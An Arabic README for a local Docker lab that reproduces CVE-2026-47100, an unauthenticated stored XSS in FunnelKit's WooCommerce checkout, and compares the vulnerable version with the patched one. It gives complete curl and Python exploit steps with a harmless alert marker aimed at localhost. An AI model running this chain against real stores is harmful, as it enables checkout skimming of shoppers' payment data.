
مختبر Docker محلي لإعادة إنتاج CVE-2026-47100، وهو ثغرة XSS مخزّنة غير مصادق عليها في FunnelKit لـ WooCommerce. يتضمن سكربتات PoC لمقارنة الإصدارات المعرضة للخطر والإصدارات المصحّحة.
مختبر Docker محلي لإعادة إنتاج CVE-2026-47100 بأسلوب آمن وبأقل ضرر ممكن. يقارن هذا المختبر إصدار FunnelKit القابل للاستغلال بإصدار مُصحَّح ويتحقق من السلوك باستخدام علامة/تنبيه JavaScript غير ضار.
CVE-2026-47100 هي ثغرة فقدان تفويض (Missing Authorization) في Funnel Builder / FunnelKit for WooCommerce Checkout قبل الإصدار 3.15.0.3.
يسمح مسار AJAX الخاص بالدفع القابل للاستغلال لزائر غير مصادَق باستدعاء طريقة داخلية من المكوّن الإضافي وكتابة بيانات في إعداد السكربت الخارجي العام المدمج في FunnelKit. وبما أن هذا الإعداد يُعرض لاحقًا على صفحات الدفع الخاصة بـ FunnelKit، فإن المشكلة يمكن أن تتحول إلى XSS مخزّن بدون مصادقة على صفحات الدفع.
يعيد هذا المستودع إنتاج المشكلة محليًا باستخدام خدمتَي Docker:
| الخدمة | الإصدار | URL | النتيجة المتوقعة |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | تأكيد السلوك القابل للاستغلال |
patched | 3.15.0.3 | http://127.0.0.1:8082 | تم حظر الكتابة / لم يتم عرض العلامة |

اختيار CVE الأولي من مخرجات Vulnx. تم بناء المختبر وPoC يدويًا من خلال مقارنة السلوك القابل للاستغلال بالسلوك المُصحَّح.
يمكن لمهاجم غير مصادَق إساءة استخدام مسار AJAX العام للدفع لتخزين JavaScript بشكل دائم في إعداد السكربت الخارجي العام الخاص بـ FunnelKit.
في متجر WooCommerce حقيقي، يمكن أن يسمح ذلك بتشغيل JavaScript خبيثة في متصفح المستخدمين الذين يزورون صفحة الدفع. وقد ربطت التقارير العامة هذا النوع من الثغرات بحملات سرقة بيانات الدفع (Checkout Skimming).
يستخدم هذا المختبر عمدًا علامة إثبات غير ضارة فقط:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
يقبل الإصدار القابل للاستغلال بيانات الدفع التي يتحكم بها المستخدم من نقطة نهاية WooCommerce AJAX العامة:
/?wc-ajax=update_order_review
داخل مسار الدفع في FunnelKit، يمكن أن يتضمن الطلب:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
يتحقق المنطق القابل للاستغلال مما إذا كان اسم الإجراء المُقدَّم موجودًا كطريقة في الفئة (class method). إذا كانت الطريقة موجودة، فيمكن استدعاؤها من مسار الدفع العام.
السلوك القابل للاستغلال في صورة مبسطة:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
الإجراء المهم الذي يتحكم به المهاجم هو:
update_global_settings_fields
تعمل هذه الطريقة على تحديث خيار WordPress:
_wfacp_global_settings
وبالتحديد المفتاح المدمج في FunnelKit:
wfacp_global_external_script
تتم لاحقًا قراءة القيمة المخزنة بواسطة قالب الدفع وعرضها على صفحة الدفع، مما يخلق حالة XSS المخزّن.
سلسلة الاستغلال:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
يعزز الإصدار 3.15.0.3 المسار القابل للاستغلال بتغييرين مهمين.
يقيد الإصدار المُصحَّح إجراءات الدفع التي يمكن استدعاؤها من مسار الدفع العام.
السلوك المُصحَّح في صورة مبسطة:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
يمنع هذا الأساليب الداخلية العشوائية مثل update_global_settings_fields من أن يتم استدعاؤها بواسطة طلبات الدفع غير المصادَقة.
يضيف الإصدار المُصحَّح أيضًا فحص تفويض قبل أن يمكن تحديث الإعدادات العامة:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
هذا يعني أن إعداد السكربت الخارجي العام يجب أن يكون قابلاً للكتابة فقط من قبل المستخدمين الذين يمتلكون صلاحيات إدارة WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
تنشئ عملية التهيئة (seed) ما يلي:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
يستخدم المختبر رابط دفع حتميًا:
/?post_type=wfacp_checkout&p=11
يؤدي هذا إلى تحميل المنشور المخصص لدفع FunnelKit بشكل صريح في مختبر Docker المحلي.
شغّل المختبر:
docker compose up -d --build
تحقق من الخدمات:
docker compose ps
الخدمات المتوقعة:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
ثبّت تبعيات Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py هو PoC الحتمي للمختبر.
يفترض قيم التهيئة المحلية لـ Docker:
product_id = 10
checkout_post_id = 11
شغّله ضد الخدمة القابلة للاستغلال:
python3 poc/poc_lab.py http://127.0.0.1:8081
النتيجة المتوقعة:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
شغّله ضد الخدمة المُصحَّحة:
python3 poc/poc_lab.py http://127.0.0.1:8082
النتيجة المتوقعة:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py هي أداة اختبار ذاتي مصرّح بها وأكثر قابلية للنقل.
فحص سلبي فقط:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
فحص نشط مصرّح به:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
وضع العلامة فقط بدون تنبيه:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
محاولة التنظيف:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
أنشئ جلسة WooCommerce جديدة وأضف منتج المختبر إلى السلة:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
اجلب صفحة دفع FunnelKit واستخرج nonce الخاص بالدفع في WooCommerce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
أرسل طلب AJAX المخصص للدفع:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
تحقق من أنه تمت كتابة الخيار:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
النتيجة المتوقعة:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
تحقق من عرض العلامة:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
افتح في المتصفح لرؤية التنبيه غير الضار:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
كرر نفس الخطوات ضد المنفذ 8082:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
تحقق من بقاء الخيار دون تغيير:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
النتيجة المتوقعة:
[]
تحقق من عدم عرض العلامة:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
النتيجة المتوقعة: لا يوجد مخرجات.
تؤكد الخدمة القابلة للاستغلال وجود المشكلة عندما تتحقق جميع الشروط التالية:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
تؤكد الخدمة المُصحَّحة نجاح الإصلاح عندما:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
هذا المستودع مخصص للبحث الأمني المحلي المصرّح به فقط.
النطاق المسموح:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
غير مسموح:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
يستخدم الـ PoC تنبيهًا وعلامة غير ضارين فقط.